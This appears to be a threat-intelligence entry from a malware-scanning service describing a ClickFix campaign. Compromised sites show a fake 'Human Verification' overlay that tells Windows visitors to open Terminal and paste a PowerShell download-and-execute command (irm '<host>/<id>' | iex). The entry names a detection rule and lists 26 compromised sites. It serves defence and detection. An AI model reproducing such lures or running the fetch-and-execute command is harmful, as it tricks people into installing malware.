ScanMalware.com
Known malicious kithighphishing

Windows ClickFix: paste-into-Terminal instructions via Win+X — page content

family: clickfix-winx-overlay-2026-10

Compromised websites carrying an injected script that draws a fake Cloudflare-style 'Human Verification' overlay ('I'm not a robot', a Ray ID) and tells Windows visitors to press and hold the Windows key + X, choose Terminal (or press I), paste with Ctrl+V and press Enter. The pasted text is a PowerShell command that downloads and runs a second stage (irm '<host>/<id>' | iex). The overlay text is translated into several languages, and the script that draws it is packed, so the command never appears in the page source. Seen on dozens of small-business sites on 2026-10-01 loading the overlay from browseid[.]codes, and in an earlier version of the same overlay since August 2026. No legitimate verification step asks visitors to run a command.

Anchors

YARA ruleClickFix_WinX_Terminal_Lure

Provenance

Added: 2026-10-01 13:30
Page rule: matches the whole instruction sequence (Windows key + X, Terminal or PowerShell (Admin), Ctrl+V) together with two fake-verification phrases. A how-to page explaining the Win+X menu does not match on its own.
References:

Sightings (26)

HostScanScriptMatchWhen
vanderbilt-park.com7e33ebe2…https://vanderbilt-park.com/#htmlyara2026-10-01 16:27
utopiagaming.it932d359a…https://utopiagaming.it/#htmlyara2026-10-01 16:26
www.green-ard.com88b47644…https://www.green-ard.com/#htmlyara2026-10-01 13:38
heatingsolutionsni.com98e93f33…https://heatingsolutionsni.com/#htmlyara2026-10-01 13:37
haarsalon-tonina.deee51590b…https://haarsalon-tonina.de/#htmlyara2026-10-01 13:37
diabetescareth.com28812a0f…https://diabetescareth.com/#htmlyara2026-10-01 13:37
grishiv.com65aa2b68…https://grishiv.com/#htmlyara2026-10-01 13:37
groupeglobalenergy.com2397f734…https://groupeglobalenergy.com/#htmlyara2026-10-01 13:37
harrabycommunitycentre.co.ukba0e2e1d…https://harrabycommunitycentre.co.uk/#htmlyara2026-10-01 13:37
www.gusanacoating.com7431bc60…https://www.gusanacoating.com/#htmlyara2026-10-01 13:36
dein-sandmann.de46847c39…https://dein-sandmann.de/#htmlyara2026-10-01 13:31
www.gusanacoating.com166ced3e…https://www.gusanacoating.com/#htmlyara2026-10-01 13:31
destinydureke.comd82fcec0…https://destinydureke.com/#htmlyara2026-10-01 13:31
iceido.comfb95a413…https://iceido.com/#htmlyara2026-10-01 13:31
harapouya.ir#html4af84455…https://harapouya.ir#htmlyara2026-10-01 13:31
solarcameratrailer.com8e0c38e6…https://solarcameratrailer.com/#htmlyara2026-10-01 13:31
parcelcourierline.coma1294de5…https://parcelcourierline.com/#htmlyara2026-10-01 13:31
indodrama.my.id5f188992…https://indodrama.my.id/#htmlyara2026-10-01 13:31
amjadworld.com#htmld4e9d1eb…https://amjadworld.com#htmlyara2026-10-01 13:31
intelligenes.comc92d5e6c…https://intelligenes.com/#htmlyara2026-10-01 13:31
mepi.com.sa#html474be3e3…https://mepi.com.sa#htmlyara2026-10-01 13:31
globalelite.group#htmla1a1b143…https://globalelite.group#htmlyara2026-10-01 13:31
sportorium.ptumb.combdb6c975…https://sportorium.ptumb.com/usaha/#htmlyara2026-10-01 13:31
drgift.euf8e6209e…https://drgift.eu/#htmlyara2026-10-01 13:31
wwvv.infoff10272b…https://wwvv.info/mghirealty.com?c=%2F#htmlyara2026-10-01 13:31
doganoksijen.com#html9b635933…https://doganoksijen.com#htmlyara2026-10-01 13:31